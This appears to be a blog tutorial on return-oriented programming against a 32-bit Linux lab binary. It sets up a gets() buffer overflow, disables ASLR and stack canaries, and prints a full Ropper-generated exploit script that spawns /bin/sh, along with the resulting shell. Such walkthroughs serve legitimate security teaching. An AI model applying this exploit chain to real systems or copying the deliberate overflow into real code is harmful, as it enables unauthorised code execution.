Return Oriented Programming

NX bit

Modern operating systems make use of the NX bit to mark memory pages as non executable. The CPU will not run instructions on those pages.

What this means is, if we write a payload into the memory and it’s on such non executable memory region (such as the stack), the program will crash. What we need to do is build our payload using instructions that already exist in the binary.

Prerequisites

You will need to at the very least be familiar with some form of assembly and be capable of writing basic stack buffer overflow exploits.

What is return oriented programming

Also known as ROP, we search the binary for the instructions we need (gadgets) to build our payload. The “return” part of the name is because we want to find instructions that are followed by a return statement. This allows us to build a calls by placing pointers in the correct order on the stack.

We first overwrite the current return address with the first gadget, and due to the fact that all the gadgets are followed by a return instruction, after each one it will continuously grab the next gadget from the stack.

If all works well, we will manage to run our payload without ever writing any shellcode into the application. Of course, the bigger the binary and the smaller the payload, the better our chances are.

Return to libc

A simpler variant of this technique involves a function in the program that we can use, such as system() from libc. We could place the address of such a function and then its arguments on the stack, effectively creating a fake call to it. To protect against this, system libraries are often loaded at addresses that will contain null bytes, making any attack based on unsafe string functions fail.

Setup

For the demonstration I will be running the vulnerable software on Kali Linux 2020.3. We will need to disable ASLR and compile without a stack canary.

1
2
3
4
5
6
7
8
9
void a() {
    char buffer[32];
    gets(buffer);
}

int main(void) {
    a();
    return 0;
}

To disable the protections:

sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
gcc main.c -o main -fno-stack-protector -m32 -fno-pie -static

We won’t be looking for gadgets manually, we will use Ropper. Installation instructions are available on their page.

Finding EIP

First, I just want to find how much data I need to overwrite EIP. I will create a pattern with msf-pattern_create -l 256. I will run the program with gdb and find what value EIP contains when it crashes:

(gdb) run
Starting program: /home/kali/Desktop/main 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A

Program received signal SIGSEGV, Segmentation fault.
0x35624134 in ?? ()
(gdb) info registers
eax            0xffffd200          -11776
ecx            0xf7fb0580          -134544000
edx            0xfbad2288          -72539512
ebx            0x41326241          1093820993
esp            0xffffd230          0xffffd230
ebp            0x62413362          0x62413362
esi            0xf7fb0000          -134545408
edi            0xf7fb0000          -134545408
eip            0x35624134          0x35624134
eflags         0x10286             [ PF SF IF RF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99

[email protected]:~/Desktop$ msf-pattern_offset -q 0x35624134
[*] Exact match at offset 44

So EIP is overwritten at offset 44.

Finding gadgets

Now for the fun part, we will be using a tool called Ropper to automatically find gadgets we need.

I will ask it to search for gadgets that will let me run /bin/sh while avoiding some characters.

./Ropper.py --file ../main --chain "execve cmd=/bin/sh" -b 000d0a

After it’s done, it will have generated some code and we just need to add enough bytes to reach EIP.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#!/usr/bin/env python
# Generated by ropper ropchain generator #
from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_0 = 0x08048000 # fd6e9b866fdcdec3b6a19d1af77ffabdaeaa24b961aaa865a06ec15b866ffaa6
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

rop = ''
rop = "A" * 44
rop += rebase_0(0x000016e3) # 0x080496e3: pop edi; ret; 
rop += '//bi'
rop += rebase_0(0x0000101e) # 0x0804901e: pop ebx; ret; 
rop += rebase_0(0x0009b060)
rop += rebase_0(0x0003f11d) # 0x0808711d: mov dword ptr [ebx], edi; pop ebx; pop esi; pop edi; ret; 
rop += p(0xdeadbeef)
rop += p(0xdeadbeef)
rop += p(0xdeadbeef)
rop += rebase_0(0x000016e3) # 0x080496e3: pop edi; ret; 
rop += 'n/sh'
rop += rebase_0(0x0000101e) # 0x0804901e: pop ebx; ret; 
rop += rebase_0(0x0009b064)
rop += rebase_0(0x0003f11d) # 0x0808711d: mov dword ptr [ebx], edi; pop ebx; pop esi; pop edi; ret; 
rop += p(0xdeadbeef)
rop += p(0xdeadbeef)
rop += p(0xdeadbeef)
rop += rebase_0(0x00007980) # 0x0804f980: xor eax, eax; ret; 
rop += rebase_0(0x000170fe) # 0x0805f0fe: pop edx; pop ebx; pop esi; ret; 
rop += rebase_0(0x0009b068)
rop += p(0xdeadbeef)
rop += p(0xdeadbeef)
rop += rebase_0(0x00010aba) # 0x08058aba: mov dword ptr [edx], eax; ret; 
rop += rebase_0(0x0000101e) # 0x0804901e: pop ebx; ret; 
rop += rebase_0(0x0009b060)
rop += rebase_0(0x000152e1) # 0x0805d2e1: pop ecx; add al, 0xf6; ret; 
rop += rebase_0(0x0009b068)
rop += rebase_0(0x00049325) # 0x08091325: pop edx; xor eax, eax; pop edi; ret; 
rop += rebase_0(0x0009b068)
rop += p(0xdeadbeef)
rop += rebase_0(0x00007980) # 0x0804f980: xor eax, eax; ret; 
rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
rop += rebase_0(0x0004a7e0) # 0x080927e0: add eax, 1; ret; 
rop += rebase_0(0x000025a2) # 0x0804a5a2: int 0x80; 
print rop

If you look at the instructions closely, you will see it calls the execve system call. It places “/bin/sh” on the stack, increments EAX up to 11 (execve system call number) and executes an interrupt. Isn’t it cool?

Now we can run the exploit:

[email protected]:~/Desktop$ (python exploit.py; cat) | ./main
id
uid=1000(kali) gid=1000(kali) groups=1000(kali),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),117(bluetooth),131(scanner)

It worked!

If you are wondering about (python exploit.py; cat), it’s so the pipe doesn’t close and we can access our shell.

Hope the article was enjoyable and have fun!

updatedupdated2023-03-192023-03-19